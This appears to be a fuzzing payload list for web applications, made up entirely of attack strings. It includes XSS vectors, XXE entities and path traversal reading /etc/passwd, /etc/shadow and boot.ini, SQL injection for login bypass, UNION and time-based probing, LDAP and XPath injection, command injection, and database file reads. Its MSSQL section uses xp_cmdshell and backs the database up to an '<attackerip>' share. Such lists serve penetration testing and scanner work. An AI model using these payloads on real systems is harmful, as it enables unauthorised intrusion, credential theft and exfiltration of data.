| <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xxe;</foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/passwd">]><foo>&xxe;</foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/shadow">]><foo>&xxe;</foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]><foo>&xxe;</foo> | |
| <xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> | |
| <xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <xml SRC="xsstest.xml" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML> | |
| count(/child::node()) | |
| x' or name()='username' or 'x'='y | |
| <name>','')); phpinfo(); exit;/*</name> | |
| <![CDATA[<script>var n=0;while(true){n++;}</script>]]> | |
| <![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xxe;</foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/passwd">]><foo>&xxe;</foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/shadow">]><foo>&xxe;</foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]><foo>&xxe;</foo> | |
| <xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> | |
| <xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <xml SRC="xsstest.xml" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML> | |
| ' | |
| " | |
| # | |
| - | |
| -- | |
| '%20-- | |
| --'; | |
| '%20; | |
| =%20' | |
| =%20; | |
| =%20-- | |
| \x23 | |
| \x27 | |
| \x3D%20\x3B' | |
| \x3D%20\x27 | |
| \x27\x4F\x52 SELECT * | |
| \x27\x6F\x72 SELECT * | |
| 'or%20select * | |
| admin'-- | |
| <>"'%;)(&+ | |
| '%20or%20''=' | |
| '%20or%20'x'='x | |
| "%20or%20"x"="x | |
| ')%20or%20('x'='x | |
| 0 or 1=1 | |
| ' or 0=0 -- | |
| " or 0=0 -- | |
| or 0=0 -- | |
| ' or 0=0 # | |
| " or 0=0 # | |
| or 0=0 # | |
| ' or 1=1-- | |
| " or 1=1-- | |
| ' or '1'='1'-- | |
| "' or 1 --'" | |
| or 1=1-- | |
| or%201=1 | |
| or%201=1 -- | |
| ' or 1=1 or ''=' | |
| " or 1=1 or ""=" | |
| ' or a=a-- | |
| " or "a"="a | |
| ') or ('a'='a | |
| ") or ("a"="a | |
| hi" or "a"="a | |
| hi" or 1=1 -- | |
| hi' or 1=1 -- | |
| hi' or 'a'='a | |
| hi') or ('a'='a | |
| hi") or ("a"="a | |
| 'hi' or 'x'='x'; | |
| @variable | |
| ,@variable | |
| PRINT @@variable | |
| select | |
| insert | |
| as | |
| or | |
| procedure | |
| limit | |
| order by | |
| asc | |
| desc | |
| delete | |
| update | |
| distinct | |
| having | |
| truncate | |
| replace | |
| like | |
| handler | |
| bfilename | |
| ' or username like '% | |
| ' or uname like '% | |
| ' or userid like '% | |
| ' or uid like '% | |
| ' or user like '% | |
| exec xp | |
| exec sp | |
| '; exec master..xp_cmdshell | |
| '; exec xp_regread | |
| t'exec master..xp_cmdshell 'nslookup www.google.com'-- | |
| --sp_password | |
| \x27UNION SELECT | |
| ' UNION SELECT | |
| ' UNION ALL SELECT | |
| ' or (EXISTS) | |
| ' (select top 1 | |
| '||UTL_HTTP.REQUEST | |
| 1;SELECT%20* | |
| to_timestamp_tz | |
| tz_offset | |
| <>"'%;)(&+ | |
| '%20or%201=1 | |
| %27%20or%201=1 | |
| %20$(sleep%2050) | |
| %20'sleep%2050' | |
| char%4039%41%2b%40SELECT | |
| '%20OR | |
| 'sqlattempt1 | |
| (sqlattempt2) | |
| | | |
| %7C | |
| *| | |
| %2A%7C | |
| *(|(mail=*)) | |
| %2A%28%7C%28mail%3D%2A%29%29 | |
| *(|(objectclass=*)) | |
| %2A%28%7C%28objectclass%3D%2A%29%29 | |
| ( | |
| %28 | |
| ) | |
| %29 | |
| & | |
| %26 | |
| ! | |
| %21 | |
| ' or 1=1 or ''=' | |
| ' or ''=' | |
| x' or 1=1 or 'x'='y | |
| / | |
| // | |
| //* | |
| */* | |
| ../../../../../../../../../../../../etc/hosts%00 | |
| ../../../../../../../../../../../../etc/hosts | |
| ../../boot.ini | |
| /../../../../../../../../%2A | |
| ../../../../../../../../../../../../etc/passwd%00 | |
| ../../../../../../../../../../../../etc/passwd | |
| ../../../../../../../../../../../../etc/shadow%00 | |
| ../../../../../../../../../../../../etc/shadow | |
| /../../../../../../../../../../etc/passwd^^ | |
| /../../../../../../../../../../etc/shadow^^ | |
| /../../../../../../../../../../etc/passwd | |
| /../../../../../../../../../../etc/shadow | |
| /./././././././././././etc/passwd | |
| /./././././././././././etc/shadow | |
| \..\..\..\..\..\..\..\..\..\..\etc\passwd | |
| \..\..\..\..\..\..\..\..\..\..\etc\shadow | |
| ..\..\..\..\..\..\..\..\..\..\etc\passwd | |
| ..\..\..\..\..\..\..\..\..\..\etc\shadow | |
| /..\../..\../..\../..\../..\../..\../etc/passwd | |
| /..\../..\../..\../..\../..\../..\../etc/shadow | |
| .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd | |
| .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow | |
| \..\..\..\..\..\..\..\..\..\..\etc\passwd%00 | |
| \..\..\..\..\..\..\..\..\..\..\etc\shadow%00 | |
| ..\..\..\..\..\..\..\..\..\..\etc\passwd%00 | |
| ..\..\..\..\..\..\..\..\..\..\etc\shadow%00 | |
| %0a/bin/cat%20/etc/passwd | |
| %0a/bin/cat%20/etc/shadow | |
| %00/etc/passwd%00 | |
| %00/etc/shadow%00 | |
| %00../../../../../../etc/passwd | |
| %00../../../../../../etc/shadow | |
| /../../../../../../../../../../../etc/passwd%00.jpg | |
| /../../../../../../../../../../../etc/passwd%00.html | |
| /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd | |
| /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow | |
| /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd | |
| /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow | |
| %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00 | |
| /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00 | |
| %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00 | |
| %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%255cboot.ini | |
| /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini | |
| \\'/bin/cat%20/etc/passwd\\' | |
| \\'/bin/cat%20/etc/shadow\\' | |
| ../../../../../../../../conf/server.xml | |
| /../../../../../../../../bin/id| | |
| C:/inetpub/wwwroot/global.asa | |
| C:\inetpub\wwwroot\global.asa | |
| C:/boot.ini | |
| C:\boot.ini | |
| ../../../../../../../../../../../../localstart.asp%00 | |
| ../../../../../../../../../../../../localstart.asp | |
| ../../../../../../../../../../../../boot.ini%00 | |
| ../../../../../../../../../../../../boot.ini | |
| /./././././././././././boot.ini | |
| /../../../../../../../../../../../boot.ini%00 | |
| /../../../../../../../../../../../boot.ini | |
| /..\../..\../..\../..\../..\../..\../boot.ini | |
| /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini | |
| \..\..\..\..\..\..\..\..\..\..\boot.ini | |
| ..\..\..\..\..\..\..\..\..\..\boot.ini%00 | |
| ..\..\..\..\..\..\..\..\..\..\boot.ini | |
| /../../../../../../../../../../../boot.ini%00.html | |
| /../../../../../../../../../../../boot.ini%00.jpg | |
| /.../.../.../.../.../ | |
| ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini | |
| /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini | |
| ! | |
| " | |
| % | |
| %0a | |
| %0d | |
| %7f | |
| %ff | |
| %n | |
| %s | |
| %x | |
| & | |
| ' | |
| * | |
| + | |
| , | |
| - | |
| -1 | |
| ; | |
| < | |
| = | |
| > | |
| _ | |
| ¦ | |
| select versionnumber, version_timestamp from sysibm.sysversions; | |
| select user from sysibm.sysdummy1; | |
| select session_user from sysibm.sysdummy1; | |
| select system_user from sysibm.sysdummy1; | |
| select current server from sysibm.sysdummy1; | |
| select name from sysibm.systables; | |
| select grantee from syscat.dbauth; | |
| select * from syscat.tabauth; | |
| select * from syscat.dbauth where grantee = current user; | |
| select * from syscat.tabauth where grantee = current user; | |
| select name, tbname, coltype from sysibm.syscolumns; | |
| SELECT schemaname FROM syscat.schemata; | |
| # ms-sqli info disclosure payload fuzzfile | |
| # replace regex with your fuzzer for best results <attackerip> <sharename> | |
| # run wireshark or tcpdump, look for incoming smb or icmp packets from victim | |
| # might need to terminate payloads with ;-- | |
| select @@version | |
| select @@servernamee | |
| select @@microsoftversione | |
| select * from master..sysserverse | |
| select * from sysusers | |
| exec master..xp_cmdshell 'ipconfig+/all' | |
| exec master..xp_cmdshell 'net+view' | |
| exec master..xp_cmdshell 'net+users' | |
| exec master..xp_cmdshell 'ping+<attackerip>' | |
| BACKUP database master to disks='\\<attackerip>\<attackerip>\backupdb.dat' | |
| create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select * from myfile"-- | |
| # regex replace as many as you can with your fuzzer for best results: | |
| # <user-fieldname> <pass-fieldname> <username> | |
| # also try to brute force a list of possible usernames, including possile admin acct names | |
| <username>' OR 1=1-- | |
| 'OR '' = ' Allows authentication without a valid username. | |
| <username>'-- | |
| ' union select 1, '<user-fieldname>', '<pass-fieldname>' 1-- | |
| 'OR 1=1-- | |
| mysql local file disclosure through sqli | |
| # fuzz interesting absolute filepath/filename into <filepath> | |
| create table myfile (input TEXT); load data infile '<filepath>' into table myfile; select * from myfile; | |
| # info disclosure payload fuzzfile for pgsql | |
| select version(); | |
| select current_database(); | |
| select current_user; | |
| select session_user; | |
| select current_setting('log_connections'); | |
| select current_setting('log_statement'); | |
| select current_setting('port'); | |
| select current_setting('password_encryption'); | |
| select current_setting('krb_server_keyfile'); | |
| select current_setting('virtual_host'); | |
| select current_setting('port'); | |
| select current_setting('config_file'); | |
| select current_setting('hba_file'); | |
| select current_setting('data_directory'); | |
| select * from pg_shadow; | |
| select * from pg_group; | |
| create table myfile (input TEXT); | |
| copy myfile from '/etc/passwd'; | |
| select * from myfile;copy myfile to /tmp/test; | |
| ############ WHERE | |
| waitfor delay '0:0:20' /* | |
| waitfor delay '0:0:20' -- | |
| ' waitfor delay '0:0:20' /* | |
| ' waitfor delay '0:0:20' -- | |
| " waitfor delay '0:0:20' /* | |
| " waitfor delay '0:0:20' -- | |
| ) waitfor delay '0:0:20' /* | |
| ) waitfor delay '0:0:20' -- | |
| )) waitfor delay '0:0:20' /* | |
| )) waitfor delay '0:0:20' -- | |
| ))) waitfor delay '0:0:20' /* | |
| ))) waitfor delay '0:0:20' -- | |
| )))) waitfor delay '0:0:20' /* | |
| )))) waitfor delay '0:0:20' -- | |
| ))))) waitfor delay '0:0:20' -- | |
| )))))) waitfor delay '0:0:20' -- | |
| ') waitfor delay '0:0:20' /* | |
| ') waitfor delay '0:0:20' -- | |
| ") waitfor delay '0:0:20' /* | |
| ") waitfor delay '0:0:20' -- | |
| ')) waitfor delay '0:0:20' /* | |
| ')) waitfor delay '0:0:20' -- | |
| ")) waitfor delay '0:0:20' /* | |
| ")) waitfor delay '0:0:20' -- | |
| '))) waitfor delay '0:0:20' /* | |
| '))) waitfor delay '0:0:20' -- | |
| "))) waitfor delay '0:0:20' /* | |
| "))) waitfor delay '0:0:20' -- | |
| ')))) waitfor delay '0:0:20' /* | |
| ')))) waitfor delay '0:0:20' -- | |
| ")))) waitfor delay '0:0:20' /* | |
| ")))) waitfor delay '0:0:20' -- | |
| '))))) waitfor delay '0:0:20' /* | |
| '))))) waitfor delay '0:0:20' -- | |
| "))))) waitfor delay '0:0:20' /* | |
| "))))) waitfor delay '0:0:20' -- | |
| ')))))) waitfor delay '0:0:20' /* | |
| ')))))) waitfor delay '0:0:20' -- | |
| ")))))) waitfor delay '0:0:20' /* | |
| ")))))) waitfor delay '0:0:20' -- | |
| ###############INSERT | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- | |
| +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- | |
| '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- | |
| "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 | |
| ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* | |
| ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- | |
| ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 | |
| ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* | |
| ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- | |
| ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 | |
| ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* | |
| ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- | |
| ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 | |
| ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* | |
| ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- | |
| ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 | |
| '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* | |
| '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- | |
| '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 | |
| "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* | |
| "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- | |
| "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 | |
| and 0=benchmark(3000000,MD5(1))%20/* | |
| and 0=benchmark(3000000,MD5(1))%20-- | |
| and 0=benchmark(3000000,MD5(1))%20%23 | |
| ' and 0=benchmark(3000000,MD5(1))%20/* | |
| ' and 0=benchmark(3000000,MD5(1))%20-- | |
| ' and 0=benchmark(3000000,MD5(1))%20%23 | |
| " and 0=benchmark(3000000,MD5(1))%20/* | |
| " and 0=benchmark(3000000,MD5(1))%20-- | |
| " and 0=benchmark(3000000,MD5(1))%20%23 | |
| ) and 0=benchmark(3000000,MD5(1))%20/* | |
| ) and 0=benchmark(3000000,MD5(1))%20-- | |
| ) and 0=benchmark(3000000,MD5(1))%20%23 | |
| )) and 0=benchmark(3000000,MD5(1))%20/* | |
| )) and 0=benchmark(3000000,MD5(1))%20-- | |
| )) and 0=benchmark(3000000,MD5(1))%20%23 | |
| ))) and 0=benchmark(3000000,MD5(1))%20/* | |
| ))) and 0=benchmark(3000000,MD5(1))%20-- | |
| ))) and 0=benchmark(3000000,MD5(1))%20%23 | |
| )))) and 0=benchmark(3000000,MD5(1))%20/* | |
| )))) and 0=benchmark(3000000,MD5(1))%20-- | |
| )))) and 0=benchmark(3000000,MD5(1))%20%23 | |
| ') and 0=benchmark(3000000,MD5(1))%20/* | |
| ') and 0=benchmark(3000000,MD5(1))%20-- | |
| ') and 0=benchmark(3000000,MD5(1))%20%23 | |
| ") and 0=benchmark(3000000,MD5(1))%20/* | |
| ") and 0=benchmark(3000000,MD5(1))%20-- | |
| ") and 0=benchmark(3000000,MD5(1))%20%23 | |
| ')) and 0=benchmark(3000000,MD5(1))%20/* | |
| ')) and 0=benchmark(3000000,MD5(1))%20-- | |
| ')) and 0=benchmark(3000000,MD5(1))%20%23 | |
| ")) and 0=benchmark(3000000,MD5(1))%20/* | |
| ")) and 0=benchmark(3000000,MD5(1))%20-- | |
| ")) and 0=benchmark(3000000,MD5(1))%20%23 | |
| '))) and 0=benchmark(3000000,MD5(1))%20/* | |
| '))) and 0=benchmark(3000000,MD5(1))%20-- | |
| '))) and 0=benchmark(3000000,MD5(1))%20%23 | |
| "))) and 0=benchmark(3000000,MD5(1))%20/* | |
| "))) and 0=benchmark(3000000,MD5(1))%20-- | |
| "))) and 0=benchmark(3000000,MD5(1))%20%23 | |
| ')))) and 0=benchmark(3000000,MD5(1))%20/* | |
| ')))) and 0=benchmark(3000000,MD5(1))%20-- | |
| ')))) and 0=benchmark(3000000,MD5(1))%20%23 | |
| ")))) and 0=benchmark(3000000,MD5(1))%20/* | |
| ")))) and 0=benchmark(3000000,MD5(1))%20-- | |
| ")))) and 0=benchmark(3000000,MD5(1))%20%23 | |
| <SCRIPT>alert('XSS');</SCRIPT> | |
| '';!--"<XSS>=&{()} | |
